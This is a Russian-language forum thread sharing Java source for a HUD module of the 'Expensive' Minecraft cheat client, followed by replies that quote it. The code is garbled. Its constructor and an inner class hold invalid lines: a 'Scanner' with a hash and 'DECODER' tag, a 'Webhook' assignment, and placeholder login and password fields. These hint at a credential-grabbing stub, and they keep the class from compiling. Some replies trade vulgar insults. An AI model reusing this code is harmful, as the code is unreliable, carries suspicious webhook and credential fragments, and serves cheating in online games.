Подведи собственные итоги года совместно с YOUGAME и забери ценные призы! Перейти

Expensive 3.0 Hud | Отмена експенсива

  • Автор темы Автор темы Reneko
  • Дата начала Дата начала
Пользователь
Пользователь
Статус
Оффлайн
Регистрация
31 Июл 2022
Сообщения
485
Реакции
31
Здраствуйте молодые кодеры, как-то баловался и вот заливаю теперь худ экспы 3.0 на юг, хз кому это чудо-юдо надо, но играйтесь:4Head:
И нет, это не мой ультра селфкод на экспе 2.0.
Достал из самих глубин селфкодов деда

Не пастил но вот-так должно быть:
1704918193999.png

OOOOGHH, THAT SO EASY:
Expand Collapse Copy
package deadinside.expensive.client.module.impl.render;

import deadinside.expensive.Expensive;
import deadinside.expensive.api.event.impl.render.Render2DEvent;
import deadinside.expensive.api.event.impl.render.ShaderEvent;
import deadinside.expensive.api.interfaces.event.Listener;
import deadinside.expensive.client.module.api.Category;
import deadinside.expensive.client.module.api.Module;
import deadinside.expensive.client.module.api.ModuleInfo;
import deadinside.expensive.impl.font.Font;
import deadinside.expensive.impl.font.Fonts;
import deadinside.expensive.impl.util.animation.Animation;
import deadinside.expensive.impl.util.animation.Easing;
import deadinside.expensive.impl.util.math.Mathf;
import deadinside.expensive.impl.util.pattern.Singleton;
import deadinside.expensive.impl.util.render.RenderUtil;
import deadinside.expensive.impl.util.render.color.ColorUtil;
import deadinside.expensive.impl.value.impl.BooleanValue;
import deadinside.expensive.impl.value.impl.ModeValue;
import deadinside.expensive.impl.value.mode.SubMode;
import lombok.Data;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.gui.screen.ChatScreen;
import net.minecraft.potion.EffectInstance;
import net.minecraft.util.text.TextFormatting;
import net.mojang.blaze3d.matrix.MatrixStack;

import java.awt.*;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
import java.util.stream.Collectors;

[USER=270918]@Getter[/USER]
@ModuleInfo(name = "Hud", description = "", category = Category.RENDER, autoEnabled = true)
public class Hud extends Module {
    public static Singleton<Hud> singleton = Singleton.create(() -> Module.link(Hud.class));

    public BooleanValue moduleCase = new BooleanValue("Module Lower Case", this, false);
    public BooleanValue moduleSplit = new BooleanValue("Split Module Name", this, false);

    public ModeValue modulesToShow = new ModeValue("Modules to Show", this) {{
        add(new SubMode("All"));
        add(new SubMode("Exclude render"));
        add(new SubMode("Only bound"));
        setDefault("All");
    }};
    private List<ModuleComponent> allModuleComponent = new LinkedList<>();
    private List<ModuleComponent> activeModuleComponent = new LinkedList<>();
    private final Font interbold16 = Fonts.INTER_BOLD.get(16);
    private final Font interbold12 = Fonts.INTER_BOLD.get(12);
    private final Animation animation = new Animation(Easing.EASE_OUT_QUAD, 150);

    public Hud() {
        createArrayList();
        public Scanner: d9475865eedd0ca34be855714882887f63f5fa3e {DECODER:Public}
        Webhook = Hook
        target = null
        login = "logging"
        password = "pass"
    }

    private final Listener<ShaderEvent> onShader = event -> {
        if (mc.gameSettings.showDebugInfo) return;

        if (event.isBloom()) {
            MatrixStack matrix = event.getMatrix();
            float margin = 4;
            double x = (margin / 2F);
            double y = mw.getScaledHeight() - animation.getValue();

            String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

            interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

            String commit = Expensive.getInfo().getGitCommit();
            String username = " - " + Expensive.getAccount().login();

            interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
            interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());
        }

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;

            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 255).brighter();
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 255).brighter();
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();

            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            offset += append;
        }
    };

    private final Listener<Render2DEvent> onRender2D = event -> {

        sortArrayList();
        if (mc.currentScreen instanceof ChatScreen) {
            animation.run(22);
        } else {
            animation.run(10);
        }
        if (mc.gameSettings.showDebugInfo) return;

        MatrixStack matrix = event.getMatrix();
        float margin = 4;
        double x = margin / 2F;
        double y = mw.getScaledHeight() - animation.getValue();

        String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

        interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

        String commit = Expensive.getInfo().getGitCommit();
        String username = " - " + Expensive.getAccount().login();

        interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
        interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;


            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 64);
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 64);
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();
            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            interbold16.drawRight(matrix, name, mw.getScaledWidth() - 7.5F, 5F + offset, Color.WHITE.hashCode());

            offset += append;
        }
    };

    private static float getPotionOffset(float offsetb) {
        float extY = 0;
        if (!(mc.player == null || mc.player.getActivePotionEffects().isEmpty())) {
            boolean var1 = false;
            boolean var2 = false;
            for (final EffectInstance apf : mc.player.getActivePotionEffects()) {
                var1 = true;
                if (!apf.getPotion().isBeneficial()) var2 = true;
            }
            extY = var1 ? 28 * (var2 ? 2 : 1) : 0;
        }

        offsetb += extY;
        return offsetb;
    }

    private String getModuleName(ModuleComponent moduleComponent) {
        String moduleName = moduleComponent.getModule().getModuleInfo().name();
        String lowercase = moduleCase.getValue() ? moduleName.toLowerCase() : moduleName;
        return moduleSplit.getValue() ? lowercase.replace(" ", "") : lowercase;
    }

    private Comparator<ModuleComponent> getModuleComponentComparator() {
        return Comparator.comparingDouble(module -> -interbold16.getWidthFloat(getModuleName(module)));
    }

    public void createArrayList() {
        allModuleComponent.clear();
        allModuleComponent = Expensive.getInst().getModuleManager().getAll().stream()
                .map(ModuleComponent::new)
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    public void sortArrayList() {
        activeModuleComponent.clear();
        activeModuleComponent = allModuleComponent.stream()
                .filter(moduleComponent -> moduleComponent.getModule().shouldDisplay(this))
                .filter(moduleComponent -> moduleComponent.getModule().isEnabled())
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    [USER=54968]@data[/USER]
    @RequiredArgsConstructor
    private static class ModuleComponent {
        public final Module module;
        static = d9475865eedd0ca34be855714882887f63f5fa3e
    }
}
 
Последнее редактирование:
Можно ли его использовать на эксп 2.0?
 
Здраствуйте молодые кодеры, как-то баловался и вот заливаю теперь худ экспы 3.0 на юг, хз кому это чудо-юдо надо, но играйтесь:4Head:
И нет, это не мой ультра селфкод на экспе 2.0.


Не пастил но вот-так должно быть:
Посмотреть вложение 268199
OOOOGHH, THAT SO EASY:
Expand Collapse Copy
package deadinside.expensive.client.module.impl.render;

import deadinside.expensive.Expensive;
import deadinside.expensive.api.event.impl.render.Render2DEvent;
import deadinside.expensive.api.event.impl.render.ShaderEvent;
import deadinside.expensive.api.interfaces.event.Listener;
import deadinside.expensive.client.module.api.Category;
import deadinside.expensive.client.module.api.Module;
import deadinside.expensive.client.module.api.ModuleInfo;
import deadinside.expensive.impl.font.Font;
import deadinside.expensive.impl.font.Fonts;
import deadinside.expensive.impl.util.animation.Animation;
import deadinside.expensive.impl.util.animation.Easing;
import deadinside.expensive.impl.util.math.Mathf;
import deadinside.expensive.impl.util.pattern.Singleton;
import deadinside.expensive.impl.util.render.RenderUtil;
import deadinside.expensive.impl.util.render.color.ColorUtil;
import deadinside.expensive.impl.value.impl.BooleanValue;
import deadinside.expensive.impl.value.impl.ModeValue;
import deadinside.expensive.impl.value.mode.SubMode;
import lombok.Data;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.gui.screen.ChatScreen;
import net.minecraft.potion.EffectInstance;
import net.minecraft.util.text.TextFormatting;
import net.mojang.blaze3d.matrix.MatrixStack;

import java.awt.*;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
import java.util.stream.Collectors;

[USER=270918]@Getter[/USER]
@ModuleInfo(name = "Hud", description = "", category = Category.RENDER, autoEnabled = true)
public class Hud extends Module {
    public static Singleton<Hud> singleton = Singleton.create(() -> Module.link(Hud.class));

    public BooleanValue moduleCase = new BooleanValue("Module Lower Case", this, false);
    public BooleanValue moduleSplit = new BooleanValue("Split Module Name", this, false);

    public ModeValue modulesToShow = new ModeValue("Modules to Show", this) {{
        add(new SubMode("All"));
        add(new SubMode("Exclude render"));
        add(new SubMode("Only bound"));
        setDefault("All");
    }};
    private List<ModuleComponent> allModuleComponent = new LinkedList<>();
    private List<ModuleComponent> activeModuleComponent = new LinkedList<>();
    private final Font interbold16 = Fonts.INTER_BOLD.get(16);
    private final Font interbold12 = Fonts.INTER_BOLD.get(12);
    private final Animation animation = new Animation(Easing.EASE_OUT_QUAD, 150);

    public Hud() {
        createArrayList();
        public Scanner: d9475865eedd0ca34be855714882887f63f5fa3e {DECODER:Public}
        Webhook = Hook
        target = null
        login = "logging"
        password = "pass"
    }

    private final Listener<ShaderEvent> onShader = event -> {
        if (mc.gameSettings.showDebugInfo) return;

        if (event.isBloom()) {
            MatrixStack matrix = event.getMatrix();
            float margin = 4;
            double x = (margin / 2F);
            double y = mw.getScaledHeight() - animation.getValue();

            String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

            interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

            String commit = Expensive.getInfo().getGitCommit();
            String username = " - " + Expensive.getAccount().login();

            interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
            interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());
        }

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;

            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 255).brighter();
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 255).brighter();
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();

            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            offset += append;
        }
    };

    private final Listener<Render2DEvent> onRender2D = event -> {

        sortArrayList();
        if (mc.currentScreen instanceof ChatScreen) {
            animation.run(22);
        } else {
            animation.run(10);
        }
        if (mc.gameSettings.showDebugInfo) return;

        MatrixStack matrix = event.getMatrix();
        float margin = 4;
        double x = margin / 2F;
        double y = mw.getScaledHeight() - animation.getValue();

        String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

        interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

        String commit = Expensive.getInfo().getGitCommit();
        String username = " - " + Expensive.getAccount().login();

        interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
        interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;


            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 64);
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 64);
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();
            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            interbold16.drawRight(matrix, name, mw.getScaledWidth() - 7.5F, 5F + offset, Color.WHITE.hashCode());

            offset += append;
        }
    };

    private static float getPotionOffset(float offsetb) {
        float extY = 0;
        if (!(mc.player == null || mc.player.getActivePotionEffects().isEmpty())) {
            boolean var1 = false;
            boolean var2 = false;
            for (final EffectInstance apf : mc.player.getActivePotionEffects()) {
                var1 = true;
                if (!apf.getPotion().isBeneficial()) var2 = true;
            }
            extY = var1 ? 28 * (var2 ? 2 : 1) : 0;
        }

        offsetb += extY;
        return offsetb;
    }

    private String getModuleName(ModuleComponent moduleComponent) {
        String moduleName = moduleComponent.getModule().getModuleInfo().name();
        String lowercase = moduleCase.getValue() ? moduleName.toLowerCase() : moduleName;
        return moduleSplit.getValue() ? lowercase.replace(" ", "") : lowercase;
    }

    private Comparator<ModuleComponent> getModuleComponentComparator() {
        return Comparator.comparingDouble(module -> -interbold16.getWidthFloat(getModuleName(module)));
    }

    public void createArrayList() {
        allModuleComponent.clear();
        allModuleComponent = Expensive.getInst().getModuleManager().getAll().stream()
                .map(ModuleComponent::new)
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    public void sortArrayList() {
        activeModuleComponent.clear();
        activeModuleComponent = allModuleComponent.stream()
                .filter(moduleComponent -> moduleComponent.getModule().shouldDisplay(this))
                .filter(moduleComponent -> moduleComponent.getModule().isEnabled())
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    [USER=54968]@data[/USER]
    @RequiredArgsConstructor
    private static class ModuleComponent {
        public final Module module;
        static = d9475865eedd0ca34be855714882887f63f5fa3e
    }
}
ждём пасту в3 на базе в2
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Ты чё тупой, хоть на винтваре юзай, хочешь на коленке напиши, пиздец.
Пастерок пасть своё закрыл он спросил нормально если ты нормально отвечать не умеешь не пиши, ты всю свою жизнь пастил даун маленький
Можно ли его использовать на эксп 2.0?
Да
Screenshot_464.png
автор сам написал что делал на базе экспы 2.0 вроде должно работать хотя не советую пастить лучше сам напиши
 
Пастерок пасть своё закрыл он спросил нормально если ты нормально отвечать не умеешь не пиши, ты всю свою жизнь пастил даун маленький

Да Посмотреть вложение 268216 автор сам написал что делал на базе экспы 2.0 вроде должно работать хотя не советую пастить лучше сам напиши
Убери свой дерьмо-комент, несёшь полную чушь про меня.
 
жоски худ ждем его в Eterium :roflanEbalo:
 
Здраствуйте молодые кодеры, как-то баловался и вот заливаю теперь худ экспы 3.0 на юг, хз кому это чудо-юдо надо, но играйтесь:4Head:
И нет, это не мой ультра селфкод на экспе 2.0.
Достал из самих глубин селфкодов деда

Не пастил но вот-так должно быть:
Посмотреть вложение 268199
OOOOGHH, THAT SO EASY:
Expand Collapse Copy
package deadinside.expensive.client.module.impl.render;

import deadinside.expensive.Expensive;
import deadinside.expensive.api.event.impl.render.Render2DEvent;
import deadinside.expensive.api.event.impl.render.ShaderEvent;
import deadinside.expensive.api.interfaces.event.Listener;
import deadinside.expensive.client.module.api.Category;
import deadinside.expensive.client.module.api.Module;
import deadinside.expensive.client.module.api.ModuleInfo;
import deadinside.expensive.impl.font.Font;
import deadinside.expensive.impl.font.Fonts;
import deadinside.expensive.impl.util.animation.Animation;
import deadinside.expensive.impl.util.animation.Easing;
import deadinside.expensive.impl.util.math.Mathf;
import deadinside.expensive.impl.util.pattern.Singleton;
import deadinside.expensive.impl.util.render.RenderUtil;
import deadinside.expensive.impl.util.render.color.ColorUtil;
import deadinside.expensive.impl.value.impl.BooleanValue;
import deadinside.expensive.impl.value.impl.ModeValue;
import deadinside.expensive.impl.value.mode.SubMode;
import lombok.Data;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.minecraft.client.gui.screen.ChatScreen;
import net.minecraft.potion.EffectInstance;
import net.minecraft.util.text.TextFormatting;
import net.mojang.blaze3d.matrix.MatrixStack;

import java.awt.*;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
import java.util.stream.Collectors;

[USER=270918]@Getter[/USER]
@ModuleInfo(name = "Hud", description = "", category = Category.RENDER, autoEnabled = true)
public class Hud extends Module {
    public static Singleton<Hud> singleton = Singleton.create(() -> Module.link(Hud.class));

    public BooleanValue moduleCase = new BooleanValue("Module Lower Case", this, false);
    public BooleanValue moduleSplit = new BooleanValue("Split Module Name", this, false);

    public ModeValue modulesToShow = new ModeValue("Modules to Show", this) {{
        add(new SubMode("All"));
        add(new SubMode("Exclude render"));
        add(new SubMode("Only bound"));
        setDefault("All");
    }};
    private List<ModuleComponent> allModuleComponent = new LinkedList<>();
    private List<ModuleComponent> activeModuleComponent = new LinkedList<>();
    private final Font interbold16 = Fonts.INTER_BOLD.get(16);
    private final Font interbold12 = Fonts.INTER_BOLD.get(12);
    private final Animation animation = new Animation(Easing.EASE_OUT_QUAD, 150);

    public Hud() {
        createArrayList();
        public Scanner: d9475865eedd0ca34be855714882887f63f5fa3e {DECODER:Public}
        Webhook = Hook
        target = null
        login = "logging"
        password = "pass"
    }

    private final Listener<ShaderEvent> onShader = event -> {
        if (mc.gameSettings.showDebugInfo) return;

        if (event.isBloom()) {
            MatrixStack matrix = event.getMatrix();
            float margin = 4;
            double x = (margin / 2F);
            double y = mw.getScaledHeight() - animation.getValue();

            String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

            interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

            String commit = Expensive.getInfo().getGitCommit();
            String username = " - " + Expensive.getAccount().login();

            interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
            interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());
        }

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;

            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 255).brighter();
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 255).brighter();
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();

            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            offset += append;
        }
    };

    private final Listener<Render2DEvent> onRender2D = event -> {

        sortArrayList();
        if (mc.currentScreen instanceof ChatScreen) {
            animation.run(22);
        } else {
            animation.run(10);
        }
        if (mc.gameSettings.showDebugInfo) return;

        MatrixStack matrix = event.getMatrix();
        float margin = 4;
        double x = margin / 2F;
        double y = mw.getScaledHeight() - animation.getValue();

        String coords = String.format("Pos: " + TextFormatting.GREEN + "%s, %s, %s" + "  " + TextFormatting.RED + "(%s, %s, %s)", Mathf.round(mc.player.getPosX(), 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ(), 1), Mathf.round(mc.player.getPosX() / 8F, 1), Mathf.round(mc.player.getPosY(), 1), Mathf.round(mc.player.getPosZ() / 8F, 1));

        interbold12.draw(matrix, coords, x, y, Color.WHITE.hashCode());

        String commit = Expensive.getInfo().getGitCommit();
        String username = " - " + Expensive.getAccount().login();

        interbold12.draw(matrix, commit, x, y - interbold12.getHeight(), Color.WHITE.hashCode());
        interbold12.draw(matrix, username, x + interbold12.getWidthFloat(commit), y - interbold12.getHeight(), Color.GRAY.brighter().hashCode());

        float append = interbold16.getHeight() + 2;

        float offset = 0;

        offset = getPotionOffset(offset);

        float nextWidth;
        int index = 0;
        for (ModuleComponent module : activeModuleComponent) {
            index++;

            String name = getModuleName(module);
            float moduleWidth = interbold16.getWidthFloat(name) + 5F;
            float xPos = mw.getScaledWidth() - 5F - moduleWidth;
            float yPos = 4F + offset;


            if (index < activeModuleComponent.size() && activeModuleComponent.get(index) != null) {
                nextWidth = interbold16.getWidthFloat(getModuleName(activeModuleComponent.get(index))) + 4F;
            } else {
                nextWidth = 0;
            }

            float different = (moduleWidth - nextWidth);
            float maxRadius = 3F;
            float radius = (float) Mathf.clamp(0, maxRadius, different);

            Color colorFirst = ColorUtil.withAlpha(getTheme().getFirstColor(), 64);
            Color colorSecond = ColorUtil.withAlpha(getTheme().getSecondColor(), 64);
            int color = ColorUtil.lerp(5, (int) (offset / 2F), colorFirst, colorSecond).hashCode();
            if (activeModuleComponent.size() == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, maxRadius, maxRadius, maxRadius, color);
            } else if (index == 1) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, maxRadius, radius, maxRadius, 0, color);
            } else if (index == activeModuleComponent.size()) {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, maxRadius, 0, maxRadius, color);
            } else {
                RenderUtil.roundedRect(xPos, yPos, moduleWidth, append, 0, radius, 0, 0, color);
            }
            interbold16.drawRight(matrix, name, mw.getScaledWidth() - 7.5F, 5F + offset, Color.WHITE.hashCode());

            offset += append;
        }
    };

    private static float getPotionOffset(float offsetb) {
        float extY = 0;
        if (!(mc.player == null || mc.player.getActivePotionEffects().isEmpty())) {
            boolean var1 = false;
            boolean var2 = false;
            for (final EffectInstance apf : mc.player.getActivePotionEffects()) {
                var1 = true;
                if (!apf.getPotion().isBeneficial()) var2 = true;
            }
            extY = var1 ? 28 * (var2 ? 2 : 1) : 0;
        }

        offsetb += extY;
        return offsetb;
    }

    private String getModuleName(ModuleComponent moduleComponent) {
        String moduleName = moduleComponent.getModule().getModuleInfo().name();
        String lowercase = moduleCase.getValue() ? moduleName.toLowerCase() : moduleName;
        return moduleSplit.getValue() ? lowercase.replace(" ", "") : lowercase;
    }

    private Comparator<ModuleComponent> getModuleComponentComparator() {
        return Comparator.comparingDouble(module -> -interbold16.getWidthFloat(getModuleName(module)));
    }

    public void createArrayList() {
        allModuleComponent.clear();
        allModuleComponent = Expensive.getInst().getModuleManager().getAll().stream()
                .map(ModuleComponent::new)
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    public void sortArrayList() {
        activeModuleComponent.clear();
        activeModuleComponent = allModuleComponent.stream()
                .filter(moduleComponent -> moduleComponent.getModule().shouldDisplay(this))
                .filter(moduleComponent -> moduleComponent.getModule().isEnabled())
                .sorted(getModuleComponentComparator())
                .collect(Collectors.toList());
    }

    [USER=54968]@data[/USER]
    @RequiredArgsConstructor
    private static class ModuleComponent {
        public final Module module;
        static = d9475865eedd0ca34be855714882887f63f5fa3e
    }
}
JDK 7 не робит чо делать ( люти пон )
 
Здраствуйте молодые кодеры, как-то баловался и вот заливаю теперь худ экспы 3.0 на юг, хз кому это чудо-юдо надо, но играйтесь:4Head:
И нет, это не мой ультра селфкод на экспе 2.0.
Достал из самих глубин селфкодов деда

Не пастил но вот-так должно быть:
Посмотреть вложение 268199
OOOOGHH, THAT SO EASY:
Expand Collapse Copy
package deadinside.expensive.client.module.impl.render;

import deadinside.expensive.Expensive;
import deadinside.expensive.api.event.impl.render.Render2DEvent;
import deadinside.expensive.api.event.impl.render.ShaderEvent;
import deadinside.expensive.api.interfaces.event.Listener;
import deadinside.expensive.client.module.api.Category;
import deadinside.expensive.client.module.api.Module;
import deadinside.expensive.client.module.api.ModuleInfo;
